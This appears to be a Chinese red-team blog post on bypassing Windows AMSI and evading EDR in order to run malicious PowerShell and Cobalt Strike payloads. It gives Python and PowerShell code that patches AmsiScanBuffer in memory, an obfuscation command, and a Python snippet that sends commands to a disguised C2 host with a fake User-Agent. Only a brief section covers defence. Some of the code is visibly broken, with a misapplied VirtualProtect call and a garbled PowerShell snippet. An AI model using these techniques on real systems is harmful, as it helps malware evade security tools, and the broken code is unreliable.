一、真实场景:如何绕过AMSI拦截恶意脚本?

某次内部渗透测试中,我们发现目标环境的Windows Defender启用了AMS(Antimalware Scan Interface),导致我们的PowerShell脚本和Cobalt Strike的载荷频频被拦截。更糟的是,目标系统还部署了基于AMS的第三方EDR工具,这进一步提高了脚本扫描的检测敏锐度。

为了避免被拦截,我们需要研究有效的AMSI绕过技术。最终通过一些高效的方法,我们成功将恶意Payload注入目标环境,并绕过了AMSI的检测。本次文章会全面剖析如何实现这一目标,包括工具用法、代码技巧以及武器化思路。

---

二、AMSI背后的杀伤力:你必须了解的原理

AMSI的工作机制

AMS(Antimalware Scan Interface)是微软为Windows平台设计的动态脚本扫描机制,主要目的是拦截PowerShell、VBScript和JScript中的恶意代码。它通过以下步骤实现实时检测:

  1. 脚本执行时,数据会被传递到AMSI扫描接口;
  2. AMSI将数据转发给注册的反病毒引擎(例如Windows Defender);
  3. 如果检测出恶意内容,脚本会被阻止运行。

这种机制对攻击者来说是致命的,因为它几乎实时扫描脚本内容,无论脚本的加密或混淆程度如何。

绕过原理

AMSI的检测依赖于两个主要环节:

  1. 拦截点: PowerShell的运行时会调用AMSI相关函数,将脚本内容发送给检测引擎;
  2. 扫描规则: EDR会基于行为规则或签名匹配进行拦截。

绕过AMSI的核心在于两种方法:

  • 修改拦截点: 通过内存加载或直接篡改AMSI的DLL函数实现Disable。
  • 避开规则: 使用混淆技术让脚本内容规避EDR规则匹配。

接下来,我们将从实战角度出发,展示如何高效绕过AMSI,降低被检测的风险。

---

三、构造绕过环境:让脚本飞起来

实验环境配置

为了模拟目标环境,我们搭建了以下实验环境:

  • 系统: Windows 11(启用Windows Defender)
  • EDR工具: CrowdStrike Falcon(支持AMSI扫描)
  • 攻击工具: Cobalt Strike、PowerShell、Python

环境搭建步骤

  1. 在虚拟机中安装Windows 11,并确保Windows Defender处于激活状态;
  2. 部署CrowdStrike Falcon作为第三方EDR,确保完整启用AMS功能;
  3. 在攻击机上安装Cobalt Strike,准备Payload注入测试。

目标: 在不触发AMS检测的前提下,成功运行恶意脚本并注入C2通信。

---

四、代码实战:手把手教你绕过AMSI

方法一:内存级绕过

这个方法通过直接修改AMSI的内存内容,将其变为“假接口”,从而绕过检测。

Python实现

<pre><code class="language-python">import ctypes

定义AMSI函数的GUID

AMSI_DLL = &quot;amsi.dll&quot;

从内存中加载amsi.dll

amsi = ctypes.windll.LoadLibrary(AMSI_DLL)

修改AMSI的ScanBuffer函数地址,直接返回成功状态

def bypass_amsi(): ScanBuffer = amsi.AmsiScanBuffer patch = ctypes.create_string_buffer(b&quot;\x31\xC0\xC3&quot;) # x86指令:xor eax, eax; ret ctypes.windll.kernel32.VirtualProtect(ctypes.byref(patch), len(patch), 0x40, ctypes.byref(ctypes.c_ulong())) ctypes.memmove(ScanBuffer, patch, len(patch)) print(&quot;AMSI bypass successful!&quot;)

bypass_amsi()</code></pre>

功能解读

  • AmsiScanBuffer函数: 这是AMSI的核心检测逻辑,我们直接将它的返回值篡改为“无恶意内容”。
  • 内存操作: 使用VirtualProtect将内存设为可写,然后完成修改。

方法二:PowerShell代码

如果目标环境允许执行PowerShell脚本,可以直接修改AMSI接口。

POC代码

<pre><code class="language-powershell">$amsiDLL = System.Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::Load(&quot;amsi&quot;).GetModules()[0]) $patch = [byte[] # x86指令:xor eax, eax; ret [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiDLL, $patch.Length) Write-Host &quot;AMSI bypassed successfully!&quot;</code></pre>

运行方法

  1. 打开PowerShell并输入代码;
  2. 确保执行策略为Unrestricted
  3. 验证Payload是否绕过检测。

---

五、规避EDR规则:混淆与流量伪装

即使绕过AMSI,EDR仍然可能通过行为分析或签名规则检测恶意活动。下面是两种实战中常用的规避方法。

脚本混淆

通过自动化工具对PowerShell脚本进行混淆,使其内容难以解析。

混淆工具

使用Invoke-Obfuscation工具,可以将脚本代码转化为难以检测的格式。例如: <pre><code class="language-powershell">Invoke-Obfuscation -ScriptBlock &#039;Write-Host &quot;AMSI bypassed&quot;&#039; -Command</code></pre>

黑客示意图

流量伪装

针对C2通信,建议使用HTTPS或DNS隧道伪装流量,使其难以被EDR识别。

Python示例

<pre><code class="language-python">import requests

def send_command(): url = &quot;https://secure-c2.example.com&quot; headers = {&quot;User-Agent&quot;: &quot;LegitimateApp/1.0&quot;} response = requests.post(url, data={&quot;cmd&quot;: &quot;execute&quot;}, headers=headers) print(response.text)

send_command()</code></pre>

---

六、检测与防守:如何反制绕过技术?

虽然攻击者可以绕过AMSI,但防御者也有一些应对策略:

  1. 使用行为检测:监控脚本行为,例如权限提升或内存篡改;
  2. 加强EDR规则:识别常见混淆手法和Payload指纹;
  3. 定期更新签名库:确保检测引擎覆盖最新的绕过技术。

黑客示意图

此外,部署基于AI的威胁检测系统可以进一步提高识别率。

---

七、红队经验:实战中的教训与心得

黑客示意图

  1. 绕过不代表完全隐身: 即使成功绕过AMSI,EDR仍然可能通过其他方式发现恶意活动,因此流量伪装和行为低调同样重要。
  2. 实时验证绕过效果: 在目标环境中,建议使用沙盒或虚拟机进行绕过测试,以确保技术有效。
  3. 动态Payload优先: 静态脚本容易被签名检测,动态生成的Payload更具隐蔽性。

最终,绕过技术的选择需要根据目标环境的防御措施灵活调整。至此,AMSI绕过的实战分享告一段落,希望这篇文章能够为你的渗透测试带来实质性的帮助。